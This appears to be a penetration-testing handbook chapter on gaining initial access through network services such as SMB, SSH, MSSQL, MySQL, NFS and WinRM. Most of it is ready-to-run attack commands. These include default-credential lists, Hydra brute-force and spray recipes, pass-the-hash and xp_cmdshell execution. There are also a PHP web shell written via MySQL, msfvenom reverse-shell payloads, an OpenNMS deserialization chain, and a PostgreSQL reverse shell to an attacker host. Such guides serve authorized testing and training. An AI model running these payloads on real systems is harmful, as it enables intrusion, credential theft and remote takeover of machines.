Skip to content

Chapter 3: Initial Access — Service & Protocol Exploitation

Tags: #smb #ftp #ssh #rdp #smtp #mssql #mysql #snmp #nfs #winrm #metasploit #hydra #crackmapexec #evil-winrm

Overview

When the target has no web surface, or the web surface is hardened, pivot to service exploitation. This chapter is port-indexed: find your open port in the triage table, follow the section. Every service section follows the same flow: enumerate → try default creds → brute force if needed → exploit or use access gained.

Service Triage Decision Tree

You have a list of open ports from Chapter 1 Nmap scan
├── Port 21   → FTP      §1
├── Port 22   → SSH      §2
├── Port 25/587/465 → SMTP §3
├── Port 110/143/993/995 → Email §3
├── Port 445  → SMB      §4
├── Port 3389 → RDP      §5
├── Port 5985/5986 → WinRM §6
├── Port 1433 → MSSQL    §7
├── Port 3306 → MySQL    §7
├── Port 161/UDP → SNMP  §8
├── Port 2049 → NFS      §9
└── Any port  → Metasploit §10
├── For EVERY service: try default creds first (§0)
├── No creds? → brute force (§11)
└── Creds work somewhere? → try them EVERYWHERE (credential reuse)

0. Default Credentials — Try These First on Every Service

Info

Trying 5 common default pairs costs 10 seconds. Skipping this step and going straight to brute forcing costs hours. Default creds hit more often than most people admit.

Service Common Default Credentials
FTP anonymous / (blank)
SSH root:root, root:toor, admin:admin
SMB guest / (blank), administrator / (blank)
Tomcat tomcat:tomcat, admin:admin, tomcat:s3cret
MSSQL sa:sa, sa: (blank)
MySQL root: (blank), root:root
RDP administrator:admin, administrator:Password1
WinRM Same as SMB/RDP creds
Jenkins admin:admin, admin:password, no-auth
Splunk admin:changeme
SNMP Community string public, private
NFS No auth — check if export is open

1. FTP (Port 21)

1. Nmap version + default scripts (checks anonymous login automatically)

sudo nmap -sV -sC -p 21 <TARGET_IP> -oA recon/nmap/ftp_scan
-sC runs ftp-anon script — if output shows Anonymous FTP login allowed, proceed to step 2.

2. Anonymous login attempt

ftp <TARGET_IP>
# Username: anonymous
# Password: (press Enter)
ftp> ls -la
ftp> pwd
ftp> cd /
ftp> mget *          # Download everything recursively
ftp> binary          # Switch to binary mode for non-text files
ftp> get <FILE>
Anonymous access = free loot. Download everything, grep for passwords.

3. Brute force FTP credentials

hydra -L /usr/share/SecLists/Usernames/top-usernames-shortlist.txt \
  -P /usr/share/wordlists/rockyou.txt \
  -t 10 -f \
  ftp://<TARGET_IP>

4. Authenticated FTP — download and grep for credentials

ftp <TARGET_IP>
ftp> mget *
ftp> quit

# Search downloaded files for credentials
grep -ri "password\|passwd\|secret\|key\|token" ./


2. SSH (Port 22)

Warning

SSH brute force is slow and noisy. Before brute forcing: check if you found usernames anywhere (SMTP, web app, SMB). Check for weak keys or password reuse from other services first.

1. Banner grab — check SSH version for known CVEs

nc -nv <TARGET_IP> 22
ssh -v <USER>@<TARGET_IP>           # Check supported auth methods

2. Try default and obvious credentials

ssh root@<TARGET_IP>
ssh admin@<TARGET_IP>

3. SSH with a private key (found during recon)

chmod 600 id_rsa
ssh -i id_rsa <USER>@<TARGET_IP>

4. Brute force SSH (known username)

hydra -l <USER> \
  -P /usr/share/wordlists/rockyou.txt \
  -t 4 -f \
  ssh://<TARGET_IP>

5. Brute force SSH (unknown username)

hydra -L /usr/share/SecLists/Usernames/top-usernames-shortlist.txt \
  -P /usr/share/SecLists/Passwords/Common-Credentials/top-passwords-shortlist.txt \
  -t 4 -f \
  ssh://<TARGET_IP>


3. Email Services — SMTP/IMAP/POP3 (Ports 25/587/110/143)

1. Enumerate SMTP capabilities

sudo nmap -p 25,587,465 --script smtp-commands,smtp-open-relay <TARGET_IP>
If smtp-open-relay returns 14/16 — the server is an open relay. Useful for phishing during engagements.

2. SMTP user enumeration (VRFY/EXPN/RCPT TO)

# VRFY method
smtp-user-enum -M VRFY -U /usr/share/SecLists/Usernames/top-usernames-shortlist.txt \
  -t <TARGET_IP>

# RCPT TO method (works on more servers)
smtp-user-enum -M RCPT -U /usr/share/SecLists/Usernames/top-usernames-shortlist.txt \
  -t <TARGET_IP> -D <TARGET_DOMAIN>
Enumerated usernames feed directly into brute force against SSH/SMB/RDP/WinRM.

3. Manual SMTP interaction

telnet <TARGET_IP> 25
EHLO attacker.local
VRFY admin@<TARGET_DOMAIN>
EXPN support
QUIT

4. Connect to IMAP and read emails (with creds)

curl -k "imaps://<TARGET_IP>" --user <USER>:<PASS>
curl -k "imaps://<TARGET_IP>/INBOX" --user <USER>:<PASS>
# List all mailboxes:
curl -k "imaps://<TARGET_IP>" --user <USER>:<PASS> -X "LIST \"\" \"*\""
Corporate emails often contain credentials, internal network info, API keys.


4. SMB (Port 445)

Info

SMB is one of the highest-value services. NULL sessions leak users, shares, and domain info. CrackMapExec turns credentials into remote code execution in one command.

1. Null session enumeration — no creds needed

# List shares
smbclient -N -L //<TARGET_IP>
smbmap -H <TARGET_IP>

# Comprehensive null session enum (users, groups, shares, policies)
enum4linux-ng <TARGET_IP>

2. Access a share with null session

smbclient -N //<TARGET_IP>/<SHARE_NAME>
# smb: \> ls
# smb: \> get <file>
# smb: \> mget *

3. Recursive share enumeration with smbmap

smbmap -H <TARGET_IP> -u '' -p '' -R
smbmap -H <TARGET_IP> -u <USER> -p <PASS> -R
# Download a file:
smbmap -H <TARGET_IP> -u <USER> -p <PASS> --download '<SHARE>\<FILE>'

4. Authenticated access — connect and browse

smbclient //<TARGET_IP>/<SHARE> -U <USER>%<PASS>
# Windows paths use backslashes in smbclient

5. CrackMapExec — credential validation and spray

# Test single credential
crackmapexec smb <TARGET_IP> -u <USER> -p <PASS>

# Spray across a subnet
crackmapexec smb <TARGET_RANGE>/24 -u <USER> -p <PASS> --continue-on-success

# Spray with user list
crackmapexec smb <TARGET_IP> -u users.txt -p <PASS> --continue-on-success
Look for [+] in output = valid creds. (Pwn3d!) = local admin.

6. CrackMapExec — remote command execution (with local admin)

# CMD execution
crackmapexec smb <TARGET_IP> -u <USER> -p <PASS> -x 'whoami'

# PowerShell execution
crackmapexec smb <TARGET_IP> -u <USER> -p <PASS> -X 'Get-LocalUser'

# Pass-the-Hash (no password needed)
crackmapexec smb <TARGET_IP> -u <USER> -H <NTLM_HASH> -x 'whoami'

7. PSExec via Impacket (interactive shell, with admin creds)

impacket-psexec <USER>:<PASS>@<TARGET_IP>
impacket-psexec -hashes :<NTLM_HASH> <USER>@<TARGET_IP>

8. SMB brute force

hydra -L users.txt -P /usr/share/wordlists/rockyou.txt \
  -t 4 -f smb://<TARGET_IP>


5. RDP (Port 3389)

Warning

RDP accounts lock after 3-5 failed attempts by default. Brute force lightly or avoid if account lockout is in effect. Always confirm lockout threshold first via SMB enumeration (enum4linux-ng shows password policy).

1. Nmap RDP enumeration

sudo nmap -Pn -sV -sC -p 3389 <TARGET_IP>

2. Connect with credentials

xfreerdp /v:<TARGET_IP> /u:<USER> /p:<PASS> /cert:ignore
xfreerdp /v:<TARGET_IP> /u:<USER> /p:<PASS> /cert:ignore /clipboard
rdesktop -u <USER> -p <PASS> <TARGET_IP>

3. Restricted RDP access bypass (if NLA is required)

# NLA requires domain credentials — try with domain prefix
xfreerdp /v:<TARGET_IP> /u:<DOMAIN>\\<USER> /p:<PASS> /cert:ignore

4. Brute force RDP (slow, carefully)

hydra -l <USER> -P /usr/share/wordlists/rockyou.txt \
  -t 1 -f -W 3 rdp://<TARGET_IP>
-t 1 = one thread, -W 3 = 3 second wait between attempts. RDP is slow to respond.

5. Spray valid creds via CrackMapExec (RDP module)

crackmapexec rdp <TARGET_IP> -u <USER> -p <PASS>


6. WinRM (Ports 5985/5986)

Info

WinRM is PowerShell remote management. Port 5985 = HTTP, 5986 = HTTPS. If you have local admin or domain creds, evil-winrm gives you a full PowerShell session immediately. This is often cleaner than PSExec.

1. Check if WinRM is accessible

crackmapexec winrm <TARGET_IP> -u <USER> -p <PASS>
(Pwn3d!) in output = user is in the Remote Management Users group.

2. Evil-WinRM — interactive PowerShell session

evil-winrm -i <TARGET_IP> -u <USER> -p <PASS>

# With NTLM hash (Pass-the-Hash)
evil-winrm -i <TARGET_IP> -u <USER> -H <NTLM_HASH>

# Upload a file
evil-winrm> upload /local/path/file.exe C:\Windows\Temp\file.exe

# Download a file
evil-winrm> download C:\path\to\file.txt /local/path/

3. Run commands via WinRM (non-interactive)

crackmapexec winrm <TARGET_IP> -u <USER> -p <PASS> -X 'whoami'


7. Database Services — MSSQL (1433) & MySQL (3306)

7a. MSSQL

1. Connect to MSSQL

# Impacket (best option)
impacket-mssqlclient <USER>:<PASS>@<TARGET_IP> -windows-auth

# sqsh
sqsh -S <TARGET_IP> -U <USER> -P '<PASS>'

# From Windows
sqlcmd -S <TARGET_IP> -U <USER> -P '<PASS>'

2. Basic enumeration

SELECT name FROM sys.databases;      -- List all databases
USE <DATABASE>;
SELECT table_name FROM information_schema.tables;
SELECT * FROM users;

3. Enable xp_cmdshell for OS command execution

EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

4. Execute OS commands via xp_cmdshell

EXEC xp_cmdshell 'whoami';
EXEC xp_cmdshell 'net user';
EXEC xp_cmdshell 'powershell -enc <BASE64_PAYLOAD>';

5. Capture NTLM hash via UNC path (Responder on attacker)

# On attacker: start Responder to catch the hash
sudo responder -I tun0 -wPv
-- In MSSQL:
EXEC xp_subdirs '\\<ATTACKER_IP>\share\';
-- OR:
EXEC xp_dirtree '\\<ATTACKER_IP>\share\', 1, 1;
Triggers an SMB auth attempt from the MSSQL service account — catch with Responder, crack offline.

7b. MySQL

1. Connect to MySQL

mysql -u <USER> -p<PASS> -h <TARGET_IP>
mysql -u root -p -h <TARGET_IP>     # Try blank password

2. Basic enumeration

SHOW DATABASES;
USE <DATABASE>;
SHOW TABLES;
SELECT * FROM users;
SELECT user, authentication_string FROM mysql.user;  -- Dump password hashes

3. Check file privileges

SHOW VARIABLES LIKE "secure_file_priv";
If value is empty or /var/www/html, you can write files.

4. Write a web shell (if FILE privilege and writable webroot)

SELECT "<?php system($_GET['cmd']); ?>"
  INTO OUTFILE '/var/www/html/shell.php';
curl "http://<TARGET_IP>/shell.php?cmd=id"

5. Read local files

SELECT LOAD_FILE('/etc/passwd');
SELECT LOAD_FILE('/var/www/html/config.php');


8. SNMP (Port 161 UDP)

Info

SNMP with community string public is a goldmine — leaks hostname, running processes, installed software, network interfaces, and sometimes credentials. Always check UDP 161 before giving up on a target.

1. Check for default community strings

# SNMPwalk with 'public'
snmpwalk -v2c -c public <TARGET_IP>

# SNMPwalk with 'private'
snmpwalk -v2c -c private <TARGET_IP>

# Brute force community strings
onesixtyone -c /usr/share/SecLists/Discovery/SNMP/snmp.txt <TARGET_IP>

2. Enumerate specific SNMP OIDs

# System description (OS info)
snmpwalk -v2c -c public <TARGET_IP> 1.3.6.1.2.1.1.1.0

# Running processes
snmpwalk -v2c -c public <TARGET_IP> 1.3.6.1.2.1.25.4.2.1.2

# Installed software
snmpwalk -v2c -c public <TARGET_IP> 1.3.6.1.2.1.25.6.3.1.2

# Network interfaces
snmpwalk -v2c -c public <TARGET_IP> 1.3.6.1.2.1.2.2.1.2

# Open TCP ports
snmpwalk -v2c -c public <TARGET_IP> 1.3.6.1.2.1.6.13.1.3

3. Nmap SNMP scripts

sudo nmap -sU -p 161 --script snmp-info,snmp-sysdescr,snmp-processes <TARGET_IP>


9. NFS (Port 2049)

Info

NFS exports often have no authentication. If a share is exported to * (world-readable), you can mount it and read everything. If writable, you can plant SSH keys.

1. Enumerate NFS exports

showmount -e <TARGET_IP>
sudo nmap -sV -p 2049 --script nfs-showmount,nfs-ls,nfs-statfs <TARGET_IP>
Look for exports with * in the allowed hosts column — accessible by anyone.

2. Mount an NFS share

mkdir /tmp/nfs_mount
sudo mount -t nfs <TARGET_IP>:<EXPORT_PATH> /tmp/nfs_mount -o nolock
ls -la /tmp/nfs_mount

3. UID manipulation — access files owned by specific user

# If files are owned by UID 1000 and you can't read them:
sudo adduser --uid 1000 tempuser
su tempuser
ls /tmp/nfs_mount

4. Write SSH key to writable NFS share (if it's a home directory)

# Generate a key pair
ssh-keygen -t rsa -f /tmp/nfs_key -N ""

# Copy public key to mounted home directory
cp /tmp/nfs_key.pub /tmp/nfs_mount/.ssh/authorized_keys
chmod 600 /tmp/nfs_mount/.ssh/authorized_keys

# SSH in with the private key
ssh -i /tmp/nfs_key <USER>@<TARGET_IP>


10. Metasploit — Exploit Framework

Info

Use Metasploit when: (1) you have a specific CVE and need a reliable exploit, (2) you need a Meterpreter session for post-exploitation, or (3) manual exploitation has failed and time is limited. Understand what it's doing — never blindly run modules.

1. Launch Metasploit

msfconsole -q

2. Search for exploits

search ms17_010
search type:exploit platform:windows cve:2021 rank:excellent
search eternalblue type:exploit

3. Load, configure, and run

use exploit/windows/smb/ms17_010_eternalblue
show options
set RHOSTS <TARGET_IP>
set LHOST <ATTACKER_IP>
set LPORT <LPORT>
set PAYLOAD windows/x64/meterpreter/reverse_tcp
run

4. Key Meterpreter commands

meterpreter > sysinfo            # System info + OS version
meterpreter > getuid             # Current user
meterpreter > getprivs           # Privileges held
meterpreter > shell              # Drop to system shell
meterpreter > screenshot         # Screenshot desktop
meterpreter > upload /local/file C:\\Windows\\Temp\\file.exe
meterpreter > download C:\\path\\file.txt /local/
meterpreter > ipconfig           # Network interfaces (look for internal IPs)
meterpreter > run post/multi/recon/local_exploit_suggester  # Privesc suggestions
meterpreter > background         # Background session
sessions                         # List all sessions
sessions -i <ID>                 # Return to session

5. Payload generation with msfvenom

# Windows reverse shell EXE
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=<ATTACKER_IP> LPORT=<LPORT> \
  -f exe -o shell.exe

# Linux reverse shell ELF
msfvenom -p linux/x86/meterpreter/reverse_tcp \
  LHOST=<ATTACKER_IP> LPORT=<LPORT> \
  -f elf -o shell.elf

# PHP web shell
msfvenom -p php/meterpreter/reverse_tcp \
  LHOST=<ATTACKER_IP> LPORT=<LPORT> \
  -f raw -o shell.php

# JSP web shell (Tomcat)
msfvenom -p java/jsp_shell_reverse_tcp \
  LHOST=<ATTACKER_IP> LPORT=<LPORT> \
  -f war -o shell.war

6. Set up a multi/handler to catch shells

use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST <ATTACKER_IP>
set LPORT <LPORT>
run -j      # -j = run as background job


11. Login Brute Forcing

11a. Hydra — Quick Reference

General syntax

hydra -l <USER> -P <WORDLIST> -t <THREADS> -f <PROTOCOL>://<TARGET_IP>

Per-protocol commands

# SSH
hydra -l <USER> -P /usr/share/wordlists/rockyou.txt -t 4 -f ssh://<TARGET_IP>

# FTP
hydra -L users.txt -P /usr/share/wordlists/rockyou.txt -t 8 -f ftp://<TARGET_IP>

# SMB
hydra -L users.txt -P passwords.txt -t 4 -f smb://<TARGET_IP>

# RDP (use very low thread count)
hydra -l <USER> -P passwords.txt -t 1 -W 3 -f rdp://<TARGET_IP>

# MySQL
hydra -l root -P /usr/share/wordlists/rockyou.txt -t 4 -f mysql://<TARGET_IP>

# HTTP POST form
hydra -l <USER> -P passwords.txt <TARGET_IP> \
  http-post-form "/login.php:username=^USER^&password=^PASS^:F=Invalid"
  # F= is failure string, S= is success string

# HTTP Basic Auth
hydra -l admin -P passwords.txt http-get://<TARGET_IP>/admin

11b. CUPP — Targeted Wordlist Generation

Info

CUPP builds wordlists based on a target's personal information (name, birth date, pet, partner, etc.). Use when you know something about the target from OSINT. Often far more effective than rockyou.txt against individuals.

cupp -i
# Answer the interactive questionnaire:
# - First name, surname, nickname
# - Birth date, partner, pet name
# - Company name
# - Keywords (sports team, hobby, etc.)
# Output: <name>.txt custom wordlist

11c. Smart Brute Force Strategy

Before brute forcing anything:
├── Do I have a username? (from SMTP enum, web app, SMB)
│    ├── YES → targeted attack: -l <user> -P rockyou.txt
│    └── NO  → use top-usernames-shortlist.txt for both -L and -P
├── Is there a password policy? (check via enum4linux-ng)
│    ├── Min 8 chars, uppercase, numbers → filter rockyou.txt first:
│    │   grep -E '^.{8,}$' rockyou.txt | grep -E '[A-Z]' | grep -E '[0-9]' > filtered.txt
│    └── No policy info → use full rockyou.txt
├── Is account lockout enabled?
│    ├── YES → USE PASSWORD SPRAY, NOT BRUTE FORCE
│    │         spray 1-2 passwords per user per hour
│    └── NO  → brute force with -t 4 (stay reasonable)
└── RDP lockout: always use -t 1 -W 3 minimum for RDP

Chapter 3 → Next Step Decision

Did you get valid credentials or a shell?
├── Shell obtained → Chapter 4 (Foothold Consolidation)
├── Valid credentials obtained (no shell yet)
│    │
│    ├── Creds work on SSH/WinRM/RDP? → interactive shell → Ch. 4
│    ├── Creds work on SMB + user is admin? → psexec/CME → Ch. 4
│    └── Creds work on DB only?
│         → Check for xp_cmdshell (MSSQL) or FILE write (MySQL) → §7
├── No creds, no shell — what did you find?
│    ├── Usernames (SMTP/SMB enum) → feed into Ch.2 web login brute
│    ├── SNMP data with process/software list → look for CVEs
│    ├── NFS mount with readable data → look for hardcoded creds in files
│    └── Nothing → go back to Ch.1, re-run full port scan,
│                   check UDP, check non-standard ports
└── You have a low-priv shell → Chapter 4 (Foothold Consolidation)

OpenNMS — Java Deserialization via JMX Configuration Generator

Default credentials: admin:admin. The JMX Configuration Generator feature passes a user-supplied connection string to the JVM without validation, triggering JNDI lookup via a JRMP listener.

# Step 1: Start JRMP listener on Kali with ysoserial payload
java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 1099 CommonsBeanutils1 \
  'bash -c {echo,<BASE64_ENCODED_REVSHELL>}|{base64,-d}|bash'

# Step 2: Set up reverse shell listener
nc -lvnp 443

# Step 3: In OpenNMS UI → Configuration → JMX Configuration Generator
# Set JMX Service URL to:
service:jmx:rmi:///jndi/rmi://<ATTACKER_IP>:1099/jmxrmi
# Click "Test Connection" or "Save" to trigger deserialization

# Step 4: Post-shell — enumerate Docker network
for i in $(seq 1 30); do
  for port in 21 22 80 443 445 3306 5432 8080 8443 9000; do
    (echo > /dev/tcp/172.18.0.$i/$port) 2>/dev/null && \
      echo "172.18.0.$i:$port open" &
  done
done
wait

# Check environment variables for creds:
env | grep -iE "password|pass|secret|key|user"
cat /proc/1/environ | tr '\0' '\n' | grep -iE "password|pass|secret"

PostgreSQL — COPY FROM PROGRAM RCE

Requires superuser postgres account. COPY FROM PROGRAM executes OS commands as the postgres process user.

# Connect (may need to port-forward via chisel/ligolo first)
psql -h <TARGET_IP> -p 5432 -U postgres -d <DBNAME>

# Verify RCE
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;

# Reverse shell
TRUNCATE cmd_exec;
COPY cmd_exec FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/<ATTACKER_IP>/<PORT> 0>&1"';

# Read files (alternative to RCE):
COPY cmd_exec FROM PROGRAM 'cat /etc/passwd';
SELECT * FROM cmd_exec;

Ansible Vault — Cracking Inline Vault Blocks

Ansible vault blocks embedded in YAML files (!vault |) must be extracted individually before cracking. Each block may use a different vault password.

# Step 1: Extract each vault block into its own file
# Remove leading spaces — the file must start with $ANSIBLE_VAULT
cat > vault_password.hash << 'EOF'
$ANSIBLE_VAULT;1.1;AES256
<hex line 1>
<hex line 2>
<hex line 3>
EOF

# Step 2: Convert to john format
ansible2john vault_password.hash > vault_password.john
ansible2john vault_username.hash > vault_username.john

# Step 3: Crack
john vault_password.john --wordlist=/usr/share/wordlists/rockyou.txt
john vault_username.john --wordlist=/usr/share/wordlists/rockyou.txt
john vault_password.john --show

# Step 4: Decrypt to plaintext
ansible-vault decrypt vault_password.hash --vault-password-file <(echo -n '<CRACKED_PASSWORD>')
cat vault_password.hash   # now contains plaintext credential

# NOTE: ansible-vault view/decrypt fails on full YAML files with inline !vault | blocks
# Must extract each block to its own standalone file first

Cisco Type 7 Password Decoding

Type 7 is reversible obfuscation, not encryption. Any Type 7 hash can be decoded without brute force.

# Python one-liner decoder:
python3 -c "
key='dsfd;kfoA,.iyewrkldJKVXcndhrs'
c='<TYPE7_HASH_HERE>'
s=int(c[:2])
e=[int(c[i:i+2],16)^ord(key[(s+i//2)%len(key)]) for i in range(2,len(c),2)]
print(''.join(chr(x) for x in e))"

# Common location: Cisco router configs stored in file shares or chat platforms
# Look for lines like: username admin password 7 <HASH>
# Also: enable secret 7 <HASH>